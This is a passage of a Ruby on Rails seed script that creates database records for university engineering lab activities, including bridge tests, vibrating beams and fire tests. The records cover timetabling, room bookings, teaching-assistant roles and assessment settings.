MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a65.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a65.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a65.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a66 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"219\").first_or_create!(name: \"Joint testing\",\n name_abrv: \"JOINTS\", archived: false, in_drive: false, user_id: 1)\n at66 = ActivityTimetable.where(activity_id: a66.id).first_or_create!(duration: 120, kit_prep_time: 480, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a66.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/V7kcA5\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a66.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a66.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a66.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a66.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a67 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV150\").first.id, code: \"220\").first_or_create!(name: \"Direct Shear Test\",\n name_abrv: \"SHEREBOX\", archived: false, in_drive: false, user_id: 2)\n at67 = ActivityTimetable.where(activity_id: a67.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at67.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a67.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/iRpLZu\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a67.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a67.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a67.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a67.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a68 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"221\").first_or_create!(name: \"Stability\",\n name_abrv: \"STABILITY\", archived: false, in_drive: false, user_id: 1)\n at68 = ActivityTimetable.where(activity_id: a68.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a68.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/XN4C9z\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a68.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a68.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a68.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a68.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a69 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAM\", archived: false, in_drive: false, user_id: 3)\n at69 = ActivityTimetable.where(activity_id: a69.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at69.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a69.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a69.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a69.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a69.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a69.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a70 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAM\", archived: false, in_drive: false, user_id: 5)\n at70 = ActivityTimetable.where(activity_id: a70.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at70.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a70.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a70.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a70.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a70.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a70.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a71 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beam\",\n name_abrv: \"VIBBEAM\", archived: true, in_drive: false, user_id: 5)\n at71 = ActivityTimetable.where(activity_id: a71.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at71.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a71.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/nTh2oR\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a71.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a71.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a71.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a71.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a72 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4181\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAMS\", archived: false, in_drive: true, user_id: 2)\n at72 = ActivityTimetable.where(activity_id: a72.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at72.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a72.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a72.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a72.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a72.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a72.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a73 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6181\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAMS\", archived: false, in_drive: true, user_id: 4)\n at73 = ActivityTimetable.where(activity_id: a73.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at73.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a73.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a73.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a73.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a73.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a73.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a74 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"223\").first_or_create!(name: \"Paper Column\",\n name_abrv: \"PAPER\", archived: false, in_drive: true, user_id: 3)\n at74 = ActivityTimetable.where(activity_id: a74.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at74.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a74.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a74.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a74.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a74.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a74.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a75 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"224\").first_or_create!(name: \"PASCO Bridge\",\n name_abrv: \"PASCO\", archived: false, in_drive: true, user_id: 2)\n at75 = ActivityTimetable.where(activity_id: a75.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"After Paper Column\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a75.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a75.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a75.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a75.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a75.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a76 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"225\").first_or_create!(name: \"Bridge Design\",\n name_abrv: \"BRIDGE DSG\", archived: false, in_drive: false, user_id: 3)\n at76 = ActivityTimetable.where(activity_id: a76.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"After PASCO bridge\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a76.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a76.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a76.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a76.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a76.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a77 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"226\").first_or_create!(name: \"Bridge Test\",\n name_abrv: \"BRIDGE TST\", archived: false, in_drive: false, user_id: 3)\n at77 = ActivityTimetable.where(activity_id: a77.id).first_or_create!(duration: 45, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 480, takedown_time: 480, notes: \"After Bridge Building\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a77.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a77.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a77.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a77.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a77.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a78 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4254\").first.id, code: \"227\").first_or_create!(name: \"Fire Test\",\n name_abrv: \"FIRE\", archived: false, in_drive: false, user_id: 1)\n at78 = ActivityTimetable.where(activity_id: a78.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Experiment taking place outside (stores courtyard)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a78.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a78.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a78.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a78.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a78.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a79 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6254\").first.id, code: \"227\").first_or_create!(name: \"Fire Test\",\n name_abrv: \"FIRE\", archived: false, in_drive: true, user_id: 1)\n at79 = ActivityTimetable.where(activity_id: a79.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Experiment taking place outside (stores courtyard)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a79.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a79.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a79.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a79.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a79.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a80 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR303\").first.id, code: \"228\").first_or_create!(name: \"Welded Coupons\",\n name_abrv: \"COUP\", archived: false, in_drive: false, user_id: 3)\n at80 = ActivityTimetable.where(activity_id: a80.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a80.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a80.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a80.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a80.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a80.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a81 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"229\").first_or_create!(name: \"Moving Hinge\",\n name_abrv: \"Moving Hinge\", archived: false, in_drive: true, user_id: 5)\n at81 = ActivityTimetable.where(activity_id: a81.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a81.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a81.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a81.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a81.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a81.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a82 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR303\").first.id, code: \"230\").first_or_create!(name: \"Welded Components\",\n name_abrv: \"COMP\", archived: false, in_drive: true, user_id: 5)\n at82 = ActivityTimetable.where(activity_id: a82.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a82.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a82.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a82.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a82.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a82.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a83 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"231\").first_or_create!(name: \"Cantilever Truss - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at83 = ActivityTimetable.where(activity_id: a83.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at83.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a83.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a83.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a83.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a83.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a83.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a84 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"232\").first_or_create!(name: \"Continuous Beam - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at84 = ActivityTimetable.where(activity_id: a84.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at84.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a84.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a84.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a84.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a84.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a84.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a85 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4136\").first.id, code: \"233\").first_or_create!(name: \"Hole in Plate - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at85 = ActivityTimetable.where(activity_id: a85.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 11, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at85.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a85.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a85.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a85.id).first_or_create!(assess_weight: nil, notes: 